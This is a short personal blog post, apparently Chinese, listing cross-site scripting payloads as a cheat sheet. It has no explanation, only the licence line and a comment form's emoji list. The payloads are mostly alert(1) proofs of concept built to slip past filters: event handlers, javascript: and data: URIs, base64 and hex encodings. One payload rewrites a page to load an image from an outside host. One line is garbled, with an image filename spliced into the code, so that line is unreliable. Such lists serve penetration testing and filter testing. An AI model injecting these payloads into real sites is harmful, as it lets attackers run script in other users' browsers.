XSS Cheat Sheet for myself

<svg/onload=alert(1)>
autofocus/onfocus=alert(1)
<object/data=javascript:alert(1)>
<embed/src=javascript:alert(1)>
<svg/onload="document.body.innerHTML='<img src=http://teagle.top/kedaya.jpg>'">
<details/open/ontoggle=confirm(1)>
<img/src/onerror=alert(1)>
<x/oncut=alert(1)>xss
<script>(alert)(1)</script>
<h1/style="color:red"/onclIck=[document.domain].find(alert);>XSS</h1>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video/src/onloadstart="alert(1)">
<marquee/onstart=alert(1)>
<h1/ondrag=confirm(1)>DragMe</h1>
eval.call`${'alert\x281\x29'}`
<svg><script>alert&#40;1)</script>
<details/open/ontoggle="a=alert,a`1`">
<details/open/ontoggle="a=eval,b=alert,c=b`1`,a`b`">
<object data="data:text/html;charset=utf-8,%3Cscript%3Ealert(2333)%3C%2Fscript%3E">
[8].find(confirm)
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgyMzMzKTwvc2NyaXB0Pg==">
<!--%0aalert(1);
<form><button formaction="javascript:alert(1)">click me</button>
<picture><source srcset="x"><img onerror="alert(1)">
<iframe srcdoc="<img/src/onerror=alert(1)>"></iframe>
document.body.appendChild(document.createElement("script"icon_question.gif).src="test.x"
setTimeout('alert(1)');

setTimeout('\x61\x6c\x65\x72\x74\x28\x31\x29');

本文由 TEag1e 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论

icon_redface.gificon_idea.gificon_cool.gif2016kuk.gificon_mrgreen.gif2016shuai.gif2016tp.gif2016db.gif2016ch.gificon_razz.gif2016zj.gificon_sad.gificon_cry.gif2016zhh.gificon_question.gif2016jk.gif2016bs.gificon_lol.gif2016qiao.gificon_surprised.gif2016fendou.gif2016ll.gificon_mrgreen.pngicon_neutral.pngicon_twisted.pngicon_arrow.pngicon_eek.pngicon_smile.pngicon_confused.pngicon_cool.pngicon_evil.pngicon_biggrin.pngicon_idea.pngicon_redface.pngicon_razz.pngicon_rolleyes.pngicon_wink.pngicon_cry.pngicon_surprised.pngicon_lol.pngicon_mad.pngicon_sad.pngicon_exclaim.pngicon_question.pngicon_rolleyes.gif2016gz.gif2016kun.gif2016zhem.gif2016am.gif2016kel.gificon_twisted.gif2016lh.gificon_neutral.gif2016ka.gif2016tx.gificon_evil.gif2016bb.gif2016yun.gif2016qq.gif2016baojin.gificon_confused.gif2016kk.gif2016zk.gif2016kb.gificon_mad.gif2016yhh.gificon_exclaim.gif2016xia.gif2016gg.gif2016qd.gificon_smile.gif2016lengh.gificon_biggrin.gif2016bz.gif2016wq.gificon_eek.gificon_arrow.gificon_wink.gif2016tuu.gif